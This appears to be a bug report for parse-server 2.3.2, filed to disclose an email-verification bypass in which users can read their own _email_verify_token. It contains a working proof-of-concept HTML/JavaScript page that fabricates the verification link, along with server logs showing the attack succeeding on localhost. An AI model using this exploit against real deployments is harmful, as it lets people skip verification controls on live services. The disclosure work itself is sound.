Description
User who has just signed up, can get his/her email verified without having to click the link in the email.
The root cause of the problem is that _email_verify_token can be read by the user.
(There is another issue #3393 where problem is that emailVerified can be written by the user.)
Steps to reproduce
-
Set the following settings in the server.js:
verifyUserEmails: true,
emailVerifyTokenValidityDuration: 2 * 60 * 60,
preventLoginWithUnverifiedEmail: true, -
signup, and get the _email_verify_token with /parse/users/me
-
Fabricate email verification URL and redirect browser there
Here is sample page that does just that:
<html>
<head>
<script type="text/javascript" src="https://npmcdn.com/parse/dist/parse.js"\>\</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"\>\</script>
<script type="text/javascript">
function signupAndFakeEmailVerification()
{
Parse.initialize('e5c10b31d8716509af3e571260aed8b571dcdec1');
Parse.serverURL = 'http://127.0.0.1:8888/parse';
var user = new Parse.User();
user.set("username", "hacker2");
user.set("password", "passwd");
user.set("email", "[email protected]");
user.signUp(null, {
success: function(user) {
// Signup succeeded
alert("Signup succeeded " +user);
$.ajaxSetup({
headers : {
'X-Parse-Application-Id' : 'e5c10b31d8716509af3e571260aed8b571dcdec1',
'X-Parse-Session-Token' : Parse.User.current().getSessionToken()
}
});
// Circumvent email verification by getting _email_verify_token
$.getJSON('http://127.0.0.1:8888/parse/users/me', function (data) {
window.location = 'http://127.0.0.1:8888/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token='+data._email_verify_token+'&username=hacker2';
})
.error(function(jqXHR, textStatus, errorThrown) {
alert("error " + textStatus);
alert("incoming Text " + jqXHR.responseText);
});
alert("new user " + newuser);
},
error: function(user, error) {
alert("Error: " + error.code + "\n\nwhat is the error \n\n " + error.message);
}
});
}
</script>
</head>
<body onload="signupAndFakeEmailVerification()">
</body>
</html>
Expected Results
User is not able to read his/her _email_verify_token in step 2.
Actual Outcome
User can read his/her _email_verify_token, and thus fabricate the email verification link.
Email verification succeeds and now user has emailVerified true in the database.
Environment Setup
-
Server
- parse-server version : 2.3.2
- Operating System: Ubuntu 14.04.5 LTS (running on VirtualBox virtual machine)
- Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
- Localhost or remote server?: localhost
-
Database
- MongoDB version: v3.0.9
- Storage engine: default
- Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
- Localhost or remote server?: localhost
Logs/Trace
verbose: REQUEST for [POST] /parse/users: {
"username": "hacker2",
"password": "",
"email": "[email protected]"
} method=POST, url=/parse/users, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, content-type=text/plain, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive, content-length=215, username=hacker2, password=, email=[email protected]
info: beforeSave triggered for _User for user undefined:
Input: {"username":"hacker2","password":"","email":"[email protected]","ACL":{}}
Result: {"object":{"ACL":{},"username":"hacker2","password":"","email":"[email protected]"}} className=_User, triggerType=beforeSave, user=undefined
verbose: RESPONSE from [POST] /parse/users: {
"status": 201,
"response": {
"objectId": "rkaOIgFssv",
"createdAt": "2017-01-20T14:37:28.752Z",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
},
"location": "http://127.0.0.1:8888/parse/users/rkaOIgFssv"
} status=201, objectId=rkaOIgFssv, createdAt=2017-01-20T14:37:28.752Z, read=true, write=true, sessionToken=r:01d90b5949931fa92aea0d892075253c, location=http://127.0.0.1:8888/parse/users/rkaOIgFssv
verbose: REQUEST for [GET] /parse/users/me: {} method=GET, url=/parse/users/me, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=application/json, text/javascript, /; q=0.01, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, x-parse-application-id=e5c10b31d8716509af3e571260aed8b571dcdec1, x-parse-session-token=r:01d90b5949931fa92aea0d892075253c, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/users/me: {
"response": {
"username": "hacker2",
"createdAt": "2017-01-20T14:37:28.752Z",
"emailVerified": false,
"email": "[email protected]",
"updatedAt": "2017-01-20T14:37:28.752Z",
"objectId": "rkaOIgFssv",
"_email_verify_token_expires_at": {
"__type": "Date",
"iso": "2017-01-20T16:37:28.858Z"
},
"_email_verify_token": "s86MRoputHM3CAn7CWGDukPlM",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"__type": "Object",
"className": "_User",
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
}
} username=hacker2, createdAt=2017-01-20T14:37:28.752Z, emailVerified=false, email=[email protected], updatedAt=2017-01-20T14:37:28.752Z, objectId=rkaOIgFssv, __type=Date, iso=2017-01-20T16:37:28.858Z, _email_verify_token=s86MRoputHM3CAn7CWGDukPlM, read=true, write=true, __type=Object, className=_User, sessionToken=r:01d90b5949931fa92aea0d892075253c
verbose: REQUEST for [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {} method=GET, url=/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, upgrade-insecure-requests=1, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {
"status": 302,
"location": "http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2"
} status=302, location=http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2